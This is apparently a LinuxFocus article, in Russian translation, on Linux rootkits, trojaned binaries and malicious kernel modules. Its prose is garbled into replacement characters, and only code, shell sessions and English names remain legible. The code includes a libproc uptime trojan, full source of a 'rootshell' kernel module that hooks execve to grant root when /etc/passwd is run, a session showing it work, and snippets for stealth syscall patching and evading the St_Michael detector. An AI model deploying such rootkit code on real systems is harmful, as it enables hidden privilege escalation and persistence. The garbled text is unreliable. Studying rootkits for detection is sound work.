[LinuxFocus-icon]
�����  |  �����  |  ������  |  �����

������� | ������ | ������ | ��� LF
��� �������� �������� �� ��������� ������: English  Deutsch  Francais  Italiano  Russian  Turkce  

Frederic Raynal
����� Frédéric Raynal aka Pappy (homepage)

�� ������:

Frédéric Raynal ������� ������� ������� ������������ ���� ����� ������������� ����������� � ������� �������� ����������. �� - ������� �������� ������������ ������� MISC, ������������ ������������ ������������. ������, �� ���� ������ � ������-����������������� � ������-��������������� ��������.



������� �� �������:
Kolobynin Alexey <alexey_ak0(at)mail.ru>

����������:

 

������� � �����������

gate

������:

������ ������ ���� ������� ������������ � ����������� ������� Linux Magazine France, ����������� ������������. ��������, ������ � ����������� ������� ��������� ������������ ��� ������ �� ����� ������� �� LinuxFocus. ��������������, LinuxFocus �������� �� ����� ��, ��� ��� ����� ���������� �� ����������. ������� ����, ��� ��������� � ���� ������. ������ ����� ����� ����������� � ������ ������ �� ���� �����.

� ������ ��������������� ��������� ��������, ������� ����� ����������� �������� ����� ��������� ������������� �� ������. ����� �� �������, ��� ����� ������� ������������� ��� ����������� ������.


_________________ _________________ _________________

 

���������

�����������, ��� �������� ����� ���������� � �������, ����� �������� - ��� �� �����. �� ��������, ��� � ���� ���� ��� ���������� (�������������, root, ...) �� ������ ������. � ���� ������ �������� ������� ����������� ������������, ���� ���� ��� �������, �������, ������� ���, ��� ��� � �������. �������� ��� ��������� � �����... ���������� �� ����� �������� � ����� �������.

��� ������ ������ - ����������� ��� ����� ����� ���������, ����� ������������� �� ���� �������� ��� �����������. �����, �� ������������� ��� ���������, ������� ����� ��� ����� ��� ���������� �����. �������, ��� ���� �� ����� ������ ���������� ��� ������, �� �� ����� ����� ����������.

��������, ��� ������������� �� ����� ��������� ���� ������������ � ������ � ������������ ������ ����������. ��� �� �����, �� ������ ���������� ��������� ��� ����� ������. ���������� ������� ���������� ����� ��� �������� ��������� (IRC ���, DDOS, ...). ��������, ��������� ������, �� ����� ������������� ��� ������� ������. ������ ��������� �� ������� ������ � ������ (��������, telnet, rlogin, pop3 � ������). ��������������, ��� ������ ������� ���� � ���������, ��� ������ �� ����� ������� ��� ��������� ����, � ������� ��������� ������-������.

��� ������ ��� ����������� ����� ����������, ����� ���������� ��������: �� �� �����, ��� �������� ������� � �������. �������� �� �������� �������� ������� � ��������������� �������, ����� ������ ����. ������� �� ������ ��������� � ����� ���� � ������ �������������, ����� ���� ����������, ��� ������ �� ������, ����� ������� ����� �������� �����.

� ���������: ����� ���� ������ ���� �����������? ���� ��� ���������. ���� ������������� ����������������� ��� �������, ���� �������� ������ ����������� �����. ���� ������ ��������� � �������� ����� �������, �� ��� ���� ����� ����� ��� ���������� ����� � ���� ���������, ��� ������ �� ���������, ����� ����� ����� ����������� ������.

����� �� ��������� �� �� �������, ������������� ������� ����� ���������� �������, ����� ������ ������, ������� �������� ������ ���� ������. ����� ����, ������ ����� ���� ������������ � ���������������� �����, � �� ������ ���� ��������� � �������� ���������������. � ���� ������, ����� �� ���������� ��������� ����� ����� ���� ���������� ��� �������� ����, � �� ����� ��� ����� ����� ��� ���������.

 

����������� ����������... � ����� ��!

������� ������ ��������� ��������� �������, ������������ ��� ����, ����� ����� ��������� �� ���������� �������, �������� ��� ���� �� ����� �������� ����������.

����� ���, ��� �� ��������� �� ����, ������� ����������� � �������������:

����� ������������� � �������, ��������� ����� ��������� ����� �����. ������� ��������� ��� ����� �� ������, ���� ���� ������������� ������ ��� ������. ������ ������ ���� ����������� ���������� ������������.

������ ��� �� ����� ������� ������ ��������� �������� ������� ��� ��������. ����� ����� ����� �������� ������������ ������ �� ���������� (��� ����� ������) � �����������.

���������� �������, ��� ����������� ������������� Linux ���������� �������� �������� ����������� (�.�. ������������� �������� ����������� ������ � �� ��������� - ��������, rpm --checksig). ������������ ����������� ��������������� �� ����� ���������� ��������� �� ������. ���� �� �������� ���������� ����� � ���������� ��������� �� ����, �� ��������� ������ ������ �� ���� ����� ������ :( ��������� ��, ��� ��������� ��� Windows � Back Orifice.

 

������ ��������

� ����������� Unix �� ���� ������� ��������� ���������� ��������� �� ������:

� ��� ��� ��������� ����������� �������� ��� ��������� ���� ������. ��� ����� ��������� ����������� ���� ��� ��������� � ����, ��� � ��� ��������� �������� ��� ������ �������� � ������ �� �������� ���������� � ��������������. ������, ��� ����� ������ �������� ����������, ����������� � ���������. ��� ��� ����� ��������� �� �� ��������� �����, ��� � � ������ �������� �� ��� �� ����������, � �� ���������� �� ����������� ����� (��� ������ ������� ������), "���������" ������������� ��������� �������.

 

Linux Root-Kit

Linux Root-Kit (lrk) - �������� � ����� ���� (���� ���� ������� ����������). ������� ������������� Lord Somer-��, ������� ��������� � ����� ����� ������. ���� ����� ������ ��������, � ����� �� ������ ������� ����������� ��������������, ����� ���� ��� ������������� � ������������ ���� ������.

���������� ������� ������������� ����������������� ������ � �������. ����� ���, ��� ���������� ��� �������, �� ������� ���������, ��� �������� ������� (�� ��������� satori), �� ����� ���� ����� ��� ����������.

���� ������������ ������ �������, ��� ��� ����� ��������� �������� �������� ������� ��������� ����. � ���� �� ������ ���������� �������� ������ �� ������������.

 

����������� �������� ����� ����

���� ��� �������� ����� ����������, ���� � ������� ������� �������� ������������. ������������, �� ������ ���-���������, ���� ��� ������ ����������:

[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267  /sbin/ifconfig

�� ����, ��� ���� ��������, �� ����� ����� ��������, ��� ������������� ifconfig � ifconfig �� lrk5 - ��������.

�������, ����� ����� ��������� �������, ���������� ��������� ���� ������ ������ (�������� � "������ ������" �����) � ���� ������, ����� ����� ����������� ��� ����� ������� ���������� ����� ���������.

��� ���� ������ ���� �������� �� ��������� �� ���������������� �������� (�������, �� ���������������� CD...). �����������, ��� �������� ������� ����� �������������� � �������. ���� ���� ������ ���� �������� �� ������ ��������� ������ ��� ������, �� ��� ���������� ��������������� ������ � ����� ������-������, �������� ���� � ������������� ������ ����� ������ ��� ������. ���� �� ��������������, �� ���� ������� ��������� �����. ������� � ��������� ���, ����� �� ������ ��������� �����������, �� �� ������� ������� ���������. ������ ����������, ��� ����� �������������� �� ���� ������ ������ �� ���������� ���� ������.

��� ���������� ������� �� ������ �������� � ����. ����� �������, ���� �� ��������� ����������� ����������, �� ����� ������� ���������� ����� ������������� ���������.

������, ����� ��������� ����������� �������, ���������� ���������� ���� �������:

  1. ����, ����������� �� ��������� ������, ������ ������������ � ������, ����������� ������� ����� �������� �� 100%, ������ - ������������� ��������� ���� ������ �� ��������, ��������� ������ �� ������;
  2. �������, �������� �� ��������� �����������, ������ ���� "�������".

�� ����, ������ �������� ������� ������ ���������� ���������, ������� � ������ ������� (�� ����������).

 

������������� ������������ ���������

��� �� ������, ����� ����� ���������, ���� ������ �������� � �������. ��������� ������ ��������� ��� ������, ���������� �� ����, � ������ �� ��� ���������� ���������. �� �� ����� � �������� ������������ � �������� ���������� �� ������. ������ � ��������� - ������ ������, ���� �� ������ ����� ���� ���������.

�������, ����� ��������� ���� �������, ����������� �������� ���������� ������������ ����������. ����� ������� ������� ��� ������������� �������� - �� �������� ������ ���������, � ��������� ������ ������� � ��������������� ����������.

������� ���������� ������, � ������� �������� ����� �������� �����, ��������� � ������� �������� �������, ������� ������ ��� ������������. ��� ���������� ����� �������� ����� ��������� �������, ����� ��� uptime, w, top.

����� ������, ����� ���������� ����� ���� ����������, ���������� ������� ldd:

[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

�� �������� �� �������� libc, ��������� ����� ���������� libproc.so. ���������� ������� ��������� � �������� �� ��� ��� ����. ����� �� ����� ������������ ������ 2.0.7, ������� ��������� � ���������� $PROCPS.

�������� ��� ������� uptime (� uptime.c) ����������, ��� �� ����� ����� ������� print_uptime() (� $PROCPS/proc/whattime.c) � ������� uptime(double *uptime_secs, double *idle_secs) (� $PROCPS/proc/sysinfo.c). ������� ������� ��������� ��� ����� ����:

/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
 3:
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
 7:      return 0;
 8:    }
 9:
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;	/* �� �������� ������� �� ��������� �������� �������� */
22:  }

���������� ����� � 10 �� 16 � �������� ������, �������� ���������, ������������ ��������. ���� ���������� ��������� TERM �� �������� ������ "satori", �� ���������� up ������������� �� �������� ���������������� ��������� �� ���������� ������� ������ ������� (� ����� ��������, ����� ������ ������� ������ ������ ������ ���������� ����� :)

����� �������������� ���� ����� ����������, �� ������� ����� -D_LIBROOTKIT_ � -lm (��� log(up);). ���� �� ��������� ��� ������ ldd ����������, ����������� ��� ��������, ������������ ���� ������� uptime, �� ������ libm ����� ���. � ���������, ��� �� ��� ��� ��������, ������������� � �������. ������������� ����� ���������� "��� ����" �������� ��������� ������:

[procps-2.0.7]# ldd ./uptime //�������������� � ����� libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //������������ �������
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //������������ �������
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log

����� �� ������������� ������ ���������, ���������� ������� ����������� ������������� �������������� ���������� ��� �������� libproc.so:

gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7
alloc.o compare.o devname.o ksym.o output.o pwcache.o
readproc.o signals.o status.o sysinfo.o version.o
whattime.o /usr/lib/libm.a

����� �������, ������� log() �������� ���������� � libproc.so. ���������������� ���������� ������ ����� �� �� �����������, ��� � ������������, �����, ��������� �� ����� ��������.

[pappy]# uptime
  2:12pm  up 7919 days,  1:28, 2 users, load average: 0.00, 0.03, 0.00

[pappy]# w
2:12pm  up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
2:14pm  up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:  191308K av, 181984K used,   9324K free, 0K shrd, 2680K buff
Swap: 249440K av,      0K used, 249440K free           79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM

��� ������� ��������. ������, ��� top ���������� ���������� ��������� TERM ��� ���������� ����� ������������. ����� ������������ ������ ����������, ��� �������������� ���������� ��������.

����� ���������� ��������� � ������������ ����������� ����� ��������� ��� �� �����, ��� ���������� �����. ���������� ��������� ���. � ���������, ����� ����� ��������������� �� ��������� ���� ��� ���, ����������� �� ����������� ����������� (/bin, /sbin, /usr/bin, /usr/sbin, /etc...), � �� ����� ��� ����������, ���������� ��� ����������, ��� �� �����, ��� � �����������.

������, ������� � ������� ������������ ��������� ������� �� ������ �� ����������� ��������� ��������� �������� �� ���� ���. ��������� ���������, ��������������� ��� �������� �����������, ����� ���������� ����� ����������. ��� ����� ������! �� ������ �������� ��� �������� ��������� ������ ���� ���������� �����������������, ����� ������� �� ������� �� �� ����������� ��������� � ������������ �����������.

�������, ���������������� ��������� md5sum, ������ ������:

[pappy]# ldd `which md5sum`
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

��� ����������� �������� ������� �� ���������� libc, ������� ����� ���� �������� (��������� nm -D `which md5sum`). ��������, ��� ������������� fopen(), ���������� ��������� ���� � �����, ���� �� ��������� � ����� � ���������� ���������, �� ���� ������������� ������� �� ������������ ���������, ������� �������� ������� ���-������ � �������.

���� ���������� ������ ������������� ����������� ��� ������������ ������ �� �����������. �� ������, ��� ��� ����� ������ ����������� ��� ������ ������� ������, ������ � ������, �� ����������, ������� (������ � �������� � ������ ��������). ������ �� ��������, ��� ��� ������� ����������, ���� �������� ������� �� ���������� �������.

������ �� ����� ������� ��������� ����� ��� ����������� ���������:

���� ����� ������������ ����� �������. ����� ������ ������� � ������ �������:

�������, ��� ��� ������������ �� ������ ��� ����������� ����������� ���������, �� � ��� ��������� �������������� � ������ �������.

��������, ��� ������ ��������� �� ���������� ������ ������ ���� ���������� ��������������. �� ������ ��� ������, ��� ������������ ���������� ����� ������� ����������� �����������.

 

������ ���� Linux (Linux Kernel Module - LKM) ��� ����������� � ������

������ �������� ������ ���������, ������� ����� ���������� ����������� �����, ������ ������� ��� ��������� ������ ���������� - ����� �������� ���������� �������. ���������� �� �������? �� ������.

��������� ����� ��������� ��������. ��� �������� �������� ����.

 

����������� LKM

�������������! ��� ����� �� ��������, LKM �������� � ������������ ����, ������� ����� ����� ������ � �������� ��� ����.

��������� LKM ���������:

����� ������ ������� �� �������� ���������. ������, ��� � ������ �������, ������� ����������� ����, ������������� ����� ������������ �� �� ������� � �������� ���� ������ ��� ������ ������� � ���� ������:

��� ���������� �� LKM? ��� ���������� ���� ����� ���� ��������� ��������� ������� (����� N � CONFIG_MODULES), ��� �� ����� �� ��������� ������� (������� �� ������� ������ Y ��� N). � ���������� �� ��������, ��� ����������, ���������� ����.

������ ���� ���� ���� �� ����� ��������� �������, �������� �������� ��������� �� ��� � ������ (��� �� ��� ������). ������� ������ (Silvio Cesare) ������� ��������� kinsmod, ������� ��������� ���������� � ���� ����� ���������� /dev/kmem, ������� ��������� ������� ���� (������� runtime-kernel-kmem-patching.txt �� ��� ��������).

������� ���������������� �������, �������, ��� ��� ������� �� ���� ������� � ����������� �������: init_module() � cleanup_module(). ��� ���������� ��������� ������. �� ��� ��� ��� ����������� � ������������ ����, �� ����� ������ �� �����, ��� ����������� � ������ ����, �������� � ��������� ������� ��� ��������.

 

���� �����!

����������, ��� ���������� ������ ��� ������ lkm. ������������ ����� �������� �������� � ������� root, �������� ��� ����� ������ ������� /etc/passwd. �����������, ���� ���� - �� �������. ������, ��� ��� �� ������������� ��������� ����� sys_execve(), �� ������������ ��� �� ������� /bin/sh, ���������� � ������ �������������� ��� ���� ��������.

������ ������ ��� ������������� �� ��������� �����: 2.2.14, 2.2.16, 2.2.19, 2.4.4. �� ������� �������� � ������. ������ � 2.2.19smp-ow1 (��������� ������������������� � ������ Openwall) ������ �������� �� ���� ������ ����������. ���� - ���� �������������� � �������, ������� ������ ���������... ���� � ������ ������������� �������� ������ �������� ����� ����.

/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
      current->uid, current->euid, current->suid, current->fsuid,
      current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " ��������:)))\n");
    current->uid = current->euid = current->suid =
                      current->fsuid = 0;
    current->gid = current->egid = current->sgid =
                      current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx,
                   (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE	/* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "��������:)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
		  sys_call_table[__NR_##x] = new_##x

  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "��������:(\n");
}

��������, ��� ��� �������� ��� ����:

[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#

����� ���� �������� ������������ ��������� �� ���������� ����� /var/log/kernel: ����� syslogd ��������������� ���, ����� ��������� ������ ��������� ����(kern.* /var/log/kernel � /etc/syslogd.conf):

[rootshell] ��������:)
[rootshell]  ./usr/bin/id. (500/500/500/500) (100/100/100/100)
[rootshell]  ./etc/passwd. (500/500/500/500) (100/100/100/100)
[rootshell]  ��������:)))
[rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
[rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
[rootshell] ��������:(

������� ������� ���� ������, ������������� ����� �������� ����� ������� �������� ��� ��������. ��� �������, ����������� � �������, ������������ � ���� ����. ������� regs.ecx �������� **argv, � regs.edx - **envp, �� ��������� current, ������� ��������� ������� ������, �� ������� ��� ������ ����������, ����� ���� � �����, ��� ���������� � ������ ������ �������.

 

����������� � ������������

�������� �� ����������� ������ �� �������� �������������� ���������� ���� ������ (������, ��� �� ������ ���, ��� ��� ������ ����� �������). ������� �������������� �����, ������� ����� ���������� �� �������� ������ ����:

��������/�������, ������� �� ��������, ��������� � ����������� ��� ���������������� ������. "�������" LKM ���������� ��� ��� ������, ����� ���������� ������������.

���� ��� ������� ���������� ����� �������. ������ ������� � ������������� ���������� /dev/kmem, ����� �������� ���������� �� ������ ������ ���� � ���, ��� ���������� � /proc. �������, ����� ��� kstat, ��������� ����������� ����� � /dev/kmem ��� �������� ������� ��������� ���������, ������� ��������� �������... � ������ ���� ������� (Toby Miller) Detecting Loadable Kernel Modules (LKM) �������, ��� ������������ kstat ��� ����������� �������� ����� ����.

������ ������ ������� � ����������� ������ ������� ��������� ��������� ������� �������. ������ St_Michael ���� ������ (Tim Lawless) ���������� ����� ��������. �� ����� ��������� ������ ������ ��� ��������� � ����������, ������� ��� �������� ����� ����������.

��� �� ������ � ���������� �������, lkm ������� �������� �� ��������� ������� ��������� �������. ������ ������� - ������� ��������� ����� ���� ������� �� ������ ������� � �������������� ������, ������� ��������� ��������� sys_init_module() � sys_delete_module(). ����� �������, ����� �������� ������� ������, ����� ������ �������� �������:

/* ����� �� ������ St_Michael ���� ������ */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);

  /*
     ��������, �� ���������� �� ������� ��������� �������.
     ���� ��� ����������, ������ ����.

     �� ����� �� ������� ��� ��������� ��������, ������
     ����� ������� ����� �� �����?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
	sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }
  }
  return init_module_return;
}

��� ������� �������� ��� �� ����������� lkm ��������, ������ ��� ������ �� ������������. ������������ - ��� ����� ���������� (�������), � ��� ������, ��� ������ ��� ������. ������ ����, ����� �������� ����� ���������� ������, ������ �� �� �������� ��� ��������� �����? ��� ������� ������� ������ � stealth-syscall.txt. ��� ����� ���������� ������ ����� ���� ���������� ������ �� ���������� "jump &new_syscall" (��� ������-���������):

/* ����� �� stealth_syscall.c (Linux 2.0.35) ������� ������ */

static char new_syscall_code[7] =
        "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
        "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR],
          sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code,
          sizeof(syscall_code));
  return 0;
}

�� �������� ���� ��������� � ���������� ��� ������ ������ �� �����������, �� �� ����� �� ������ ������� � �����. �� ������ ������� ��� ��������� ���� ������� ������. �� ���������� �������� ��� ���� ����������� � St_Michael, ������� ��������� ����� init_module(), ��� ��������� ��������� ���� �� ����������� ����� �������� ������� ������.

�� ���� � � ���� ��������, �������� ������ ���� �� ����������� (������ �� ��������� ����� ����� �������, Mixman-�� � ����; �������� ��� ������� Mixman-��):

  1. ��������� �������, ������� �� �������� ��������� �������: �� ���� �� ��������, ��� � ��� ���������� ������. � init_module() �� �������� ������ ����� ������� (� ���� ������� printk()), ����� "�����������" �� ��� �� hacked_printk()
    /* ����� �� printk_exploit.c Mixman-� */
    
    static unsigned char hacked = 0;
    
    /* hacked_printk() �������� ��������� �����.
       ����� �� �������� "����������" printk(), �����
       ��� �������� ���������.
    */
    asmlinkage int hacked_printk(const char* fmt,...)
    {
      va_list args;
      char buf[4096];
      int i;
    
      if(!fmt) return 0;
      if(!hacked) {
        sys_call_table[SYS_chdir] = hacked_chdir;
        hacked = 1;
      }
      memset(buf,0,sizeof(buf));
      va_start(args,fmt);
      i = vsprintf(buf,fmt,args);
      va_end(args);
      return i;
    }
          
    ����� �������, ���� �� �����������, ���������� � ��������������� init_module(), ������������, ��� ��� �������� �� ���� ��������� � ������� ��������� �������. ������ ��� ��������� ������ printk() ��������� ����������...
    ����� ������������� �����, ���� �� ����������� ������ ���������������� �� ��� ������� ����.
  2. ������������� �������: � init_module(), ������������ ������, ������� ������� ��������� ������� �����, ��� ��������� �������� ������. ����� �������, ��� ��� ���� �� ����������� ���������� �� ����� �������� (��������) ������, ����� �������� ������������ :(
     /* timer_exploit.c Mixman */
    
     #define TIMER_TIMEOUT  200
    
     extern void* sys_call_table[];
     int (*org_chdir)(const char*);
    
     static timer_t timer;
     static unsigned char hacked = 0;
    
     asmlinkage int hacked_chdir(const char* path)
     {
       printk("������������� �������� ����� ����� ��������...\n");
       return org_chdir(path);
     }
    
     void timer_handler(unsigned long arg)
     {
       if(!hacked) {
         hacked = 1;
         org_chdir = sys_call_table[SYS_chdir];
         sys_call_table[SYS_chdir] = hacked_chdir;
       }
     }
    
     int init_module(void)
     {
       printk("�������� ������ ����...\n");
       memset(&timer,0,sizeof(timer));
       init_timer(&timer);
       timer.expires = jiffies + TIMER_TIMEOUT;
       timer.function = timer_handler;
       add_timer(&timer);
       printk("��������� ����� sys_chdir() ����� ������������� ����� ��������� ������\n");
       return 0;
     }
    
     void cleanup_module(void)
     {
       del_timer(&timer);
       sys_call_table[SYS_chdir] = org_chdir;
     }
          
    � ������ ������ ���������� ��������, ��� �������, ����� ������ ����� �� ����������� ����� �� �������, � �� ������ �� ����� ��������(��������) ������.

 

�����

��������� ����������� ������� - ���� �� �������. ���� ��� ����� � �������, ���� ����� �������� ������ ��. ������������ ������� - ������ �� �������� ��� ���������� ��������� �������, ��������, ����� ���� ����������, ��� ��������� ���������. ������ ����� - ���������� ������� � ��������� ������("������") ��� ������ �����.

������� � ������, ������������� � ���� ������, �����������. ��� ������ � ��� ��������� � ��� ��������������. ��� ����� �� ������� ������ rootshell, ������� ����� ��������� ��������������, ��� ��� ���������.

���� ����� �� ����������� ����������� �������� ���������� ��������, ������������ ������� ����� ��������������. ��, ������� �������� �� �������, ������������ ����� ����� ��������. �������, ������� ������� ��, ��������� � ����������, ��� � ���� ������, ��� ��� ��� ��� ������ �� ������������� ����� ������ ������������. ������������ ���� ��� ������ � ������ ��������� �����, �� ����� �������, ��� ����� �������� ������, ������������� �� ������������, ��� ���� 2.5. ����� ��������� � �������� ����� ��������� ��-�� �������� ���������� ��������� ������ (Openwall, Pax, LIDS, kernelli, ����� ��������� ����� ����� �� ���).

� ����� ������ �������, ��� ������������ ���������� ������� �� ����� ��������� ���� �����������. �� �� ������ �������� �� �� ����������, �� ����������, ������� ��� ������.

 

������

 

�������� �������

� ������ ������� ���� �������� �������. �� ���� �������� �� ������ �������� ���� ����������� ��� ����������� ����������� ������ ��������� :
 talkback page 

Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal aka Pappy , FDL
LinuxFocus.org
Translation information:
fr --> -- : Frédéric Raynal aka Pappy (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en --> ru: Kolobynin Alexey <alexey_ak0(at)mail.ru>

2002-11-11, generated by lfparser version 2.31